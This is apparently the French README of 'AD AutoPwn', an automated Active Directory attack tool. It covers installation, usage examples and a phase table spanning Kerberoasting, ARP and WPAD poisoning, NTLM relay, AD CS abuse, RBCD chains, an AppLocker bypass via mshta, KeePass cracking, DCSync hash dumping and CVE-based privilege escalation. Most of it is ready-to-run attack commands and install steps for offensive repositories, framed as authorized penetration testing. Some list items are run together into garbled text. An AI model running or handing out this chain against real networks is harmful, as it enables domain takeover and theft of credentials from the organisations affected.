
AD AutoPwn v4.10.0 — chaîne d'attaque AD automatisée, de zéro-authentification à Administrateur de Domaine. Découverte/Kerberoast/AS-REP/AD CS ESC1-16/Shadow Creds/RBCD+KCD/Ghost-SPN/TGS-rewrite/Dollar-Ticket/WPAD/WSUS/PXE/SCCM/BloodHound auto-action/Loot/DCSync/DPAPI + Synacktiv 2026 reflection (CVE-2025-58726/2026-24294/2026-26128). Test d'intrusion autorisé uniquement.
Zéro-Auth vers Administrateur de domaine — Chaîne d'attaque Active Directory automatisée
Un outil de test d'intrusion entièrement automatisé qui enchaîne plus de 25 techniques d'attaque pour compromettre des environnements Active Directory. Conçu pour des évaluations de sécurité autorisées.
_ ___ _ _ ___
/_\ | \ /_\ _ _| |_ ___| _ \__ __ ___ _
/ _ \| |) | / _ \ || | _/ _ \ _/\ V V / ' \
/_/ \_\___/ /_/ \_\_,_|\__\___/_| \_/\_/|_||_|
⚡ Zéro-Auth vers Administrateur de domaine — Chaîne d'attaque
Découvrir | Sniffer | ARP | WPAD | WSUS | PXE | AD CS | SCCM | Rôti
BloodHound | Refléter | Butin | RBCD+KCD | DCSync | DPAPI
DONT_REQ_PREAUTH)--spray-password.library-ms / .theme / .url sur des partages accessibles en écriturebloodhound-python -c All + analyse ZIPWriteSPN, AddKeyCredentialLink, GenericAll/Write, WriteDacl/Owner, WriteAccountRestrictions, AddAllowedToAct, ForceChangePasswordWriteSPN → mise à niveau ghost-SPN (CVE-2025-58726)AddKeyCredentialLink → credentials fantômes → PKINIT → hash NTGenericAll / WriteAccountRestrictions sur un ordinateur → chaîne RBCD → TGS administrateur-altservice, en une seule phase-altservice$ par le KDC lors de la recherche du principal → TGT pour un utilisateur Linux via un compte machine <user>$ créé automatiquement → SSH GSSAPIGet-CimInstance Win32_Process via nxc -x ; grep regex pour mots de passe dans mysql/sqlcmd/runas/KeePass/indicateurs de style --password*.kdbx dans C:\Users, télécharger via smbclient, keepass2john | hashcat -m 13400# Entièrement automatisé — chaîne zéro-identifiant (détection automatique de tout)
sudo ./ad-autopwn.py
# Avec identifiants — chaîne complète
./ad-autopwn.py -u jsmith -p 'P@ss123' -d corp.local --dc-ip 10.0.0.1
# Laboratoires AWS / VPC (attaques couche 2 bloquées) — la détection automatique fonctionne toujours
sudo ./ad-autopwn.py --no-arp --no-wpad
# Découverte d'identifiants avant authentification (sécurisé contre les verrouillages)
sudo ./ad-autopwn.py --phase discover --no-arp --no-wpad
# Collecte de graphe BloodHound + analyse automatique de haute valeur
./ad-autopwn.py --phase bloodhound -u user -p pass -d corp.local \
--dc-ip 10.0.0.1 --dc-fqdn dc01.corp.local
# Dollar Ticket — TGT pour 'root' via compte machine root$ créé automatiquement
./ad-autopwn.py -u user -p pass -d corp.local --dc-ip 10.0.0.1 \
--phase dollar-ticket --target-user root
# Chaîne RBCD+KCD — ghost-SPN complet + RBCD + réécriture altservice, en un tir
./ad-autopwn.py -u user -p pass -d corp.local --dc-ip 10.0.0.1 \
--phase rbcd-kcd -T VHAGAR$ --alt-spn HTTP/vhagar.corp.local
# Contournement AppLocker
./ad-autopwn.py -u user -p pass --applocker --lolbin mshta --custom-cmd "whoami"
# Simulation (affiche chaque commande, n'en exécute aucune — même les processus d'arrière-plan)
./ad-autopwn.py --dry-run -u user -p pass -d corp.local --dc-ip 10.0.0.1
apt install python3 impacket-scripts netexec nmap hashcat tcpdump \
responder dsniff arp-scan certipy-ad bloodyad bloodhound.py \
smbclient atftp wimtools john seclists
/opt/tools/)git clone https://github.com/mverschu/CVE-2025-33073 /opt/tools/CVE-2025-33073
git clone https://github.com/dirkjanm/krbrelayx /opt/tools/krbrelayx
git clone https://github.com/Wh04m1001/DFSCoerce /opt/tools/DFSCoerce
git clone https://github.com/ShutdownRepo/ShadowCoerce /opt/tools/ShadowCoerce
git clone https://github.com/ShutdownRepo/pywhisker /opt/tools/pywhisker
git clone https://github.com/dirkjanm/PKINITtools /opt/tools/PKINITtools
git clone https://github.com/csandker/pxethiefy /opt/tools/pxethiefy
git clone https://github.com/garrettfoster13/sccmhunter /opt/tools/sccmhunter
git clone https://github.com/dirkjanm/mitm6 /opt/tools/mitm6
git clone https://github.com/Hackndo/pyGPOAbuse /opt/tools/pyGPOAbuse
git clone https://github.com/Hackndo/WebclientServiceScanner /opt/tools/WebclientServiceScanner
git clone https://github.com/almandin/Certihound /opt/tools/Certihound
pipx install coercer
pipx install wsuks --system-site-packages
kerbrute — téléchargez le dernier binaire depuis
https://github.com/ropnop/kerbrute/releases — installez dans /usr/local/bin/userenum-cldap — énumérateur CLDAP NetLogon-ping compagnon (se trouve
dans ce dépôt sous userenum-cldap.py ; installez dans /usr/local/bin/userenum-cldap)asn1tools — pip install asn1tools (dépendance d'exécution CLDAP enum)# Paquets APT
sudo apt install python3 impacket-scripts netexec nmap hashcat tcpdump \
responder dsniff arp-scan certipy-ad bloodyad bloodhound.py \
smbclient atftp wimtools john seclists
# Tous les dépôts requis
for repo in mverschu/CVE-2025-33073 dirkjanm/krbrelayx \
Wh04m1001/DFSCoerce ShutdownRepo/ShadowCoerce \
ShutdownRepo/pywhisker dirkjanm/PKINITtools \
csandker/pxethiefy garrettfoster13/sccmhunter \
dirkjanm/mitm6 Hackndo/pyGPOAbuse \
Hackndo/WebclientServiceScanner almandin/Certihound; do
sudo git clone "https://github.com/$repo" "/opt/tools/$(basename $repo)"
done
# Dépendances Python pour les dépôts qui en ont besoin
for repo in pywhisker PKINITtools sccmhunter pxethiefy mitm6 pyGPOAbuse Certihound; do
[ -f "/opt/tools/$repo/requirements.txt" ] && \
pip3 install --break-system-packages -r "/opt/tools/$repo/requirements.txt"
done
# Paquets Pipx
pipx install coercer
pipx install wsuks --system-site-packages
# Binaire kerbrute (ropnop)
sudo wget -q -O /usr/local/bin/kerbrute \
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
sudo chmod +x /usr/local/bin/kerbrute
# Dépendance d'exécution CLDAP userenum
sudo pip3 install --break-system-packages asn1tools
# Script compagnon userenum-cldap (ce dépôt)
sudo wget -q -O /usr/local/bin/userenum-cldap \
https://raw.githubusercontent.com/jonaslejon/ad-autopwn/main/userenum-cldap.py
sudo chmod +x /usr/local/bin/userenum-cldap
# ad-autopwn lui-même
sudo cp ad-autopwn.py /usr/local/bin/ad-autopwn
sudo chmod +x /usr/local/bin/ad-autopwn
check_prerequisites() s'exécute au début de chaque invocation et affiche
un statut vert ✅ / jaune ⚠️ pour chaque outil que le script utilise, avec
des indications d'installation pour tout ce qui manque.
eu-west-1 — couverture complète de la phase v4.10.0 vérifiée
de bout en bout. La découverte automatique sur AWS fonctionne désormais avec littéralement
--no-arp --no-wpad (tout le reste — interface, IP de l'attaquant,
domaine, IP DC, FQDN DC — est détecté automatiquement via balayage de sous-réseau + repli dig
vers @<dc_ip>).stannis.baratheon → GenericAll → KINGSLANDING$ : à partir d'un seul
identifiant faiblement privilégié jusqu'à un TGS administrateur sur le DC en 5 secondes.krbtgt — ticket d'or viable.--dry-run affiche chaque commande (premier plan et arrière-plan) sans
les exécuter — ne lancera pas les spoofers ARP, mitm6, Responder ou ntlmrelayx.try/finally avec os.chdir
pour garantir que la restauration atterrit dans le bon répertoire sur n'importe quel chemin de sortie.--no-cleanup conserve tout pour une analyse judiciaire.Pour les tests d'intrusion autorisés et la recherche en sécurité uniquement.
Cet outil est conçu pour être utilisé par des professionnels de la sécurité lors d'engagements autorisés. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation écrite avant de tester.
Triop AB — https://triop.se
MIT
| Phase | Auth | Description |
|---|
full | optionnel | Chaîne automatisée complète (détection automatique avec ou sans identifiants) |
sniff | aucun | Découverte passive du trafic L2 |
discover | aucun | kerbrute + CLDAP + AS-REP + pre2k + (pulvérisation optionnelle) |
arp | aucun | Spoofing ARP + capture NTLM |
wpad | aucun | Empoisonnement WPAD/LLMNR (mitm6 / Responder) |
wsus | aucun | Relais NTLM WSUS |
pxe | aucun | Vol d'identifiants de démarrage PXE |
enum | oui | Énumération de cibles (cibles de relais, délégation non contrainte, hôtes WebClient) |
enrich | oui | Batterie de 13 modules nxc (LAPS, timeroast, MAQ, nopac, zerologon, …) + consommateur automatique |
bloodhound | oui | bloodhound-python -c All + analyse + chaînes d'action automatiques |
roast | oui | Kerberoast + AS-REP Roast |
adcs | oui | Exploitation AD CS (ESC1-ESC16) |
sccm | oui | Vol d'identifiants NAA SCCM |
exploit | oui | Exploitation par réflexion / coercition NTLM sur une cible spécifique |
dcsync | oui (DA) | Vidage des hashs du domaine |
loot | oui | Récolte de lignes de commande de processus + découverte/craquage KeePass |
tgs-rewrite | aucun | Réécriture hors ligne du nom de service dans le cache ccache (contournement KCD de type tgssub) |
dollar-ticket | oui | Attaque de nouvelle tentative de suffixe $ du KDC (cible Linux GSSAPI) |
rbcd-kcd | oui | Orchestrateur de chaîne RBCD+KCD complète (WriteSPN → ghost → RBCD → S4U+altservice) |
reflect-tcpport | oui | Primitive LPE CVE-2026-24294 (SMB sur port TCP) |
reflect-loopback | oui | Primitive LPE CVE-2026-26128 (boucle locale Kerberos via SPN Unicode) |
kerb-reflect | oui | Réflexion AP-REQ ghost-SPN CVE-2025-58726 |